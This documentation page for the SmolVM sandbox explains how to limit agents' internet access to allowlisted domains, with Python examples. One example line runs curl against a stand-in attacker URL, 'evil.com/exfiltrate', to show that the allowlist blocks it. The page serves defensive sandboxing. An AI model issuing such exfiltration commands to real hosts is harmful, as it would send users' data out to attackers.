Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.celesto.ai/llms.txt

Use this file to discover all available pages before exploring further.

By default, sandboxes have full internet access. You can lock this down to specific domains using internet_settings, so agents can only reach the APIs you approve.

Allow specific domains

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")  # allowed
vm.run("curl https://evil.com/exfiltrate")        # blocked

Allow multiple domains

vm = SmolVM(internet_settings={
    "allowed_domains": [
        "https://api.openai.com",
        "https://api.anthropic.com",
        "https://pypi.org",
    ],
})
Domain allowlisting is especially useful for AI agents that need API access but shouldn’t be able to reach arbitrary URLs.
For details on how sandbox networking works under the hood, see Network configuration.
Last modified on April 29, 2026